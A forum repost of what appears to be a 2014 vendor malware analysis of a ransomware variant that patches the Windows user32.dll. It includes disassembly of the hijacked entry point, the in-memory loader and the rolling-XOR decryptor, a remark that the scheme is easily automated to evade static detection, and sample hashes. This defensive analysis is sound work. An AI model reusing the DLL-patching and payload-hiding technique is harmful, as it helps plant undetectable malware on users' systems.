Nytro Posted June 14, 2014 Report Posted June 14, 2014 [h=2]Ransomware infecting user32.dll[/h]Over the past months we’ve been monitoring a new variant of the Department of Justice (DOJ) ransomware. Till date there is nothing written about this new variant on the internet. This blog item aims to address this. Analysis of this particular ransomware shows that the method to infect victims is different compared to previous ransomware samples. Instead of dropping an executable on the system it infects the Windows system DLL: user32.dll. This file is typically located in:C:\Windows\System32\user32.dll orC:\Windows\SysWOW64\user32.dll So far we’ve observed that the ransomware is only infecting the 32-bit version of user32.dll. Static detectionOur support desk helped a victim in January 2014. Four months later, detection is still poor: Resource sectionThe ransomware enlarges the resource section of user32.dll as can be seen in the table below: [TABLE] [TR] [TH=colspan: 4]Original user32.dll[/TH] [TH=colspan: 4]Infected user32.dll[/TH] [/TR] [TR] [TH]name[/TH] [TH]va[/TH] [TH]vsize[/TH] [TH]rawsize[/TH] [TH]name[/TH] [TH]va[/TH] [TH]vsize[/TH] [TH]rawsize[/TH] [/TR] [TR] [TD].text[/TD] [TD]0×1000[/TD] [TD]0x5f283[/TD] [TD]0x5f400[/TD] [TD].text[/TD] [TD]0×1000[/TD] [TD]0x5f283[/TD] [TD]0x5f400[/TD] [/TR] [TR] [TD].data[/TD] [TD]0×61000[/TD] [TD]0×1180[/TD] [TD]0xc00[/TD] [TD].data[/TD] [TD]0×61000[/TD] [TD]0×1180[/TD] [TD]0xc00[/TD] [/TR] [TR] [TD].rsrc[/TD] [TD]0×63000[/TD] [TD]0x2a088[/TD] [TD]0x2a200[/TD] [TD].rsrc[/TD] [TD]0×63000[/TD] [TD]0x33a88[/TD] [TD]0x33c00[/TD] [/TR] [TR] [TD].reloc[/TD] [TD]0x8e000[/TD] [TD]0x2de4[/TD] [TD]0x2e00[/TD] [TD].reloc[/TD] [TD]0x8e000[/TD] [TD]0x2de4[/TD] [TD]0x2e00[/TD] [/TR] [/TABLE]Analysis of the increased resource section in this file shows that it contains an encrypted payload with a decryptor embedded. We will show how the malware gets active once it has successfully infected the user32.dll file. EntryPoint patchedThe code in the entrypoint of an infected user32.dll is patched with a jump to AlignRects, as can be seen below: Original:UserClientDllInitialize:7e41b217 8B FF mov edi, edi 7e41b219 55 push ebp 7e41b21a 8B EC mov ebp, esp 7e41b21c 83 7D 0C 01 cmp [ebp+0xC], 1 7e41b220 75 05 jnz 0x7e41b2277e41b222 E8 5D 07 00 00 call 0x7e41b9847e41b227 5D pop ebp 7e41b228 90 nop 7e41b229 90 nop 7e41b22a 90 nop 7e41b22b 90 nop 7e41b22c 90 nop 7e41b22d 8B FF mov edi, edi 7e41b22f 55 push ebp 7e41b230 8B EC mov ebp, espPatched:UserClientDllInitialize:7e41b217 8B FF mov edi, edi 7e41b219 55 push ebp 7e41b21a 8B EC mov ebp, esp 7e41b21c 83 7D 0C 01 cmp [ebp+0xC], 1 7e41b220 75 0E jnz 0x7e41b2307e41b222 E8 00 00 00 00 call 0x7e41b2277e41b227 83 04 24 0A add [esp], 0xa 7e41b22b E9 B0 22 05 00 jmp AlignRects ________________________________________7e41b230 8B EC mov ebp, esp The code at AlignRects is not the original, but is replaced with code that allocates a new block of executable memory. Hereafter it copies the encrypted payload from the resource section to this newly allocated memory.AlignRects:7e46d4e0 leave 7e46d4e1 pusha 7e46d4e2 push ebp7e46d4e3 mov ebp, esp7e46d4e5 sub esp, 87e46d4e8 mov eax, [ebp+0x4C] ; EAX becomes base-address of ; user32.dll (7E410000)7e46d4eb mov ecx, eax7e46d4ed add eax, 0x13bc7e46d4f2 mov eax, [eax] ; EAX becomes address of ; NtQueryVirtualMemory7e46d4f4 add eax, 0xfffff5f0 ; EAX becomes address of ; NtAllocateVirtualMemory7e46d4f9 push 0x407e46d4fb push 0x30007e46d500 lea ecx, [ebp-0x4]7e46d503 mov [ecx], 0xc5767e46d509 push ecx7e46d50a push 07e46d50c lea ecx, [ebp-0x8]7e46d50f mov [ecx], 07e46d515 push ecx7e46d516 push 0xff7e46d518 call eax ; Call NtAllocateVirtualMemory7e46d51a mov edi, [ebp-0x8] ; EDI = allocated address7e46d51d mov eax, edi7e46d51f mov esi, [ebp+0x4C] ; ESI = base-address of ; user32.dll (7E410000)7e46d522 add esi, 0x8d200 ; ESI = address of encrypted payload ; in resource section7e46d528 mov ecx, 0x98bb7e46d52d rep movs es:[edi], ds:[esi] ; Copy to allocated ; (executable) range7e46d52f leave 7e46d530 add eax, 0x981e ; EAX = address of decryption code7e46d535 jmp eax ; Start decryption !! As can be seen from this code an executable block of memory is allocated. In order to do that, the address of NtAllocateVirtualMemory is calculated using the address of NtQueryVirtualMemory, which was obtained from the IAT of user32.dll. The encrypted payload is copied into the newly allocated range of memory. This encrypted payload contains a small piece of decryption code, located near the end of the encrypted payload. This decryption code is shown below:0:000> reax=0029981e ebx=7e41b217 ecx=00000000 edx=7c90e514 esi=7e4a6abb edi=002998bbeip=0029981e esp=0007f9d4 ebp=0007fa10 iopl=0 nv up ei pl nz na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=000002060:000> u eax l200029981e call 0029982300299823 pop edx EDX = current location !00299824 sub edx,7FFA2F22h0029982a push esi0029982b lea esi,[edx+7FFA2F1Dh] ESI = allocated mem-base (290000)00299831 mov ecx,981Eh ECX = size to decrypt (num bytes)00299836 sub esi,ecx00299838 push esi00299839 mov ebx,6FAAEh The XOR key (BL only, so AEh)0029983e xor byte ptr [esi],bl Decrypt byte-by-byte00299840 inc esi00299841 inc ebx Modify XOR key for each byte (+1)00299842 loop 0029983e00299844 pop eax00299845 pop ecx00299846 mov dword ptr [eax+12h],ecx00299849 jmp eax Jump to allocated mem-base, which is now decrypted. The decryption of the payload uses a XOR based decryption scheme were the XOR value for each byte to decrypt is incremented after each operation. Once all bytes in the allocated memory range are decrypted, the now plain code is executed. Note the first two instructions of this decryption code, where a call/pop combination is used to obtain the current address. This makes the decryption code position independent. The only ‘fixed’ values in this code are the size of the encrypted payload and the XOR key, so automating the payload and decryptor to avoid static detection can be easily accomplished. Once the ransomware becomes active, some typical ransomware behavior is performed:Windows Safe Mode is disabledTask Manager is blockedCommand Prompt is blockedRegistry Editor is blocked… and of course the police themed picture is shown where a ransom fee is demanded in order to release the PC (see picture at the top of this article). Victims can use the very easy-to-use HitmanPro.Kickstart to get rid of police themed ransomware infection. Blocking CD-ROM drivesA new property of this particular ransomware is that it disables CD-ROM drives. This makes it for some computers harder to clean the system as is explained below. When HitmanPro detects a system file that is infected, it searches for a white-listed variant on the computer. This as Windows tends to keep a copy of system files on multiple locations on the hard disk.If HitmanPro cannot find a white-listed known safe version, it prompts for the Windows installation CD/DVD media that came with the computer. This is a very useful feature of HitmanPro and it has been in HitmanPro for years to return infected system files to pristine state! But since this new ransomware infection blocks access to the CD/DVD the user can no longer provide the Windows installation media for original files. New Cloud ServiceToday we release a BETA build of HitmanPro that queries a new HitmanPro-cloud service that can provide a clean system file so that the user no longer has to provide Windows installation media. 32-bit: http://dl.surfright.nl/HitmanProBeta.exe64-bit: http://dl.surfright.nl/HitmanProBeta_x64.exe Samples:3AF4FA2BFFAAB37FD557AE8146AE0A29BA0FAF6D99AD8A1A8D5BF598AC9A23D13A061EE07D87A6BB13E613E000E9F685CBFFB96BD7024A9E7B4CB0BE9A4AF38C7DD93123078B383EC179C4C381F9119F4EAC4EFB287FE8F538A82E7336DFA4CASursa: Ransomware infecting user32.dll | Quote
